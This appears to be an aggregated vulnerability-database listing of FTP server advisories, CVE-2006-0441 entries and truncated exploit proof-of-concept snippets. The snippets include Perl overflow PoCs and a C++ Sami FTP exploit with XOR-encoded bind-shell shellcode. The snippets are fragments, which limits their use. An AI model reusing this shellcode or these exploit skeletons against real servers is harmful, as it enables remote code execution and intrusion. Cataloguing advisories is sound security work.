[SA19338] Baby FTP Server File Enumeration Weakness

TITLE: Baby FTP Server File Enumeration Weakness SECUNIA ADVISORY ID: SA19338 VERIFY ADVISORY: http://secunia.com/advisories/19338/ CRITICAL: Not critical IMPACT: Exposure of system information WHERE: From remote SOFTWARE: Baby FTP Server 1.x http://secunia.com/product/1626/ DESCRIPTION: Ziv Kami...

Baby FTP Server file enumeration information leak

Different messages for existing and non-existing user outside FTP home directory...

[SECURITY] [DSA 1006-1] New wzdftpd packages fix arbitrary shell command execution

-------------------------------------------------------------------------- Debian Security Advisory DSA 1006-1 [email protected] http://www.debian.org/security/ Moritz Muehlenhoff March 16th, 2005 http://www.debian.org/security/faq -...

DSA-1006-1 wzdftpd - missing input sanitising

Bulletin has no description...

XM Easy Personal FTP Server 1.0 (Port) Remote Overflow PoC

Exploit for unknown platform in category dos / poc ========================================================== XM Easy Personal FTP Server 1.0 Port Remote Overflow PoC ========================================================== !/usr/bin/perl ---------------------------------------------------- Nam...

XM Easy Personal FTP Server 1.0 - Port Remote Overflow (PoC)

XM Easy Personal FTP Server 1.0 - Port Remote Overflow PoC !/usr/bin/perl ---------------------------------------------------- Name : XM Easy Personal FTP Server Version : 4.2 ---------------------------------------------------- Type : dos / remote Descritpion : buffer overflow for huge PORT valu...

XM Easy Personal FTP Server 1.0 (Port) Remote Overflow PoC

No description provided by source. !/usr/bin/perl ---------------------------------------------------- Name : XM Easy Personal FTP Server Version : 4.2 ---------------------------------------------------- Type : dos / remote Descritpion : buffer overflow for huge PORT value...

ArgoSoft FTP Server buffer overflow

DELE FTP command heap buffer overflow...

argoOverflow.txt

-- Title: ArGoSoft FTP server remote heap overflow -- Affected Products: ArGoSoft FTP server 1.4.3.5 current and prior -- Affected Vendor: ArGoSoft - http://www.argosoft.com -- Impact: DoS, Arbitrary Code Execution -- Where: From remote -- Type: Heap Overflow -- Vulnerability Details: A remote...

ArGoSoft FTP Server <= 1.4.3.5 Remote Buffer Overflow PoC

No description provided by source. !/usr/bin/perl ---------------------------------------------------- ArgoSoftFTP.pl - PoC exploit for ArgoSoft FTP Server Jerome Athias ---------------------------------------------------- use Net::FTP; geting data $host = @ARGV0; $port = @ARGV1; $debug = @ARGV2;...

ArGoSoft FTP Server 1.4.3.5 - Remote Buffer Overflow (PoC)

!/usr/bin/perl ---------------------------------------------------- ArgoSoftFTP.pl - PoC exploit for ArgoSoft FTP Server Jerome Athias ---------------------------------------------------- use Net::FTP; geting data $host = @ARGV0; $port = @ARGV1; $debug = @ARGV2; $user = @ARGV3; $pass = @ARGV4;...

ArGoSoft FTP Server 1.4.3.5 - Remote Buffer Overflow (PoC)

ArGoSoft FTP Server 1.4.3.5 - Remote Buffer Overflow PoC !/usr/bin/perl ---------------------------------------------------- ArgoSoftFTP.pl - PoC exploit for ArgoSoft FTP Server Jerome Athias ---------------------------------------------------- use Net::FTP; geting data $host = @ARGV0; $port =...

ArGoSoft FTP Server <= 1.4.3.5 Remote Buffer Overflow PoC

Exploit for unknown platform in category dos / poc ========================================================= ArGoSoft FTP Server new"$host",Port = $port, TimeOut = 30, Debug= $debug or die "- Connection failed\n"; print "+ Connect OK!\n"; print "Logging...\n"; if !$user $user = "test"; $pass =...

AWStats configdir parameter command execution

Added: 02/14/2006 CVE: CVE-2005-0116 BID: 12298 OSVDB: 13002 Background AWStats is a web application for showing web, FTP, and mail server statistics. Problem Insufficient validation of the configdir parameter before being used in a PERL open call leads to remote command execution. Resolution...

Sami FTP Server 2.0.1 Remote Buffer Overflow Exploit (cpp)

No description provided by source. // Two includes. include fstream.h include winsock2.h // Project - Settings - Link Object/Library modules 'Ws232.lib' pragma commentlib, "ws232" char MyShellCode = // XOR by \x99\x99\x99\x99. "\xD9\xEE\xD9\x74\x24\xF4\x5B\x31\xC9\xB1\x59\x81\x73\x17\x99\x99"...

KarjaSoft Sami FTP Server 2.0.1 - Remote Buffer Overflow (cpp)

// Two includes. include include // Project - Settings - Link Object/Library modules 'Ws232.lib' pragma commentlib, "ws232" char MyShellCode = // XOR by \x99\x99\x99\x99. "\xD9\xEE\xD9\x74\x24\xF4\x5B\x31\xC9\xB1\x59\x81\x73\x17\x99\x99" "\x99\x99\x83\xEB\xFC\xE2" // Bind ShellCode port 777...

Stack overflow

Stack-based buffer overflow in Sami FTP Server 2.0.1 allows remote attackers to execute arbitrary code via a long USER command, which triggers the overflow when the log is viewed...

CVE-2006-0441

Stack-based buffer overflow in Sami FTP Server 2.0.1 allows remote attackers to execute arbitrary code via a long USER command, which triggers the overflow when the log is viewed...

CVE-2006-0441

Stack-based buffer overflow in Sami FTP Server 2.0.1 allows remote attackers to execute arbitrary code via a long USER command, which triggers the overflow when the log is viewed...

CVE-2006-0441

CVE-2006-0441 describes a stack-based buffer overflow in Sami FTP Server (notably versions around 2.0.x) triggered by an excessively long USER command; the overflow occurs when the logs are viewed via the management GUI/logs. Public references (NVD/Secunia advisories) and multiple third-party sou...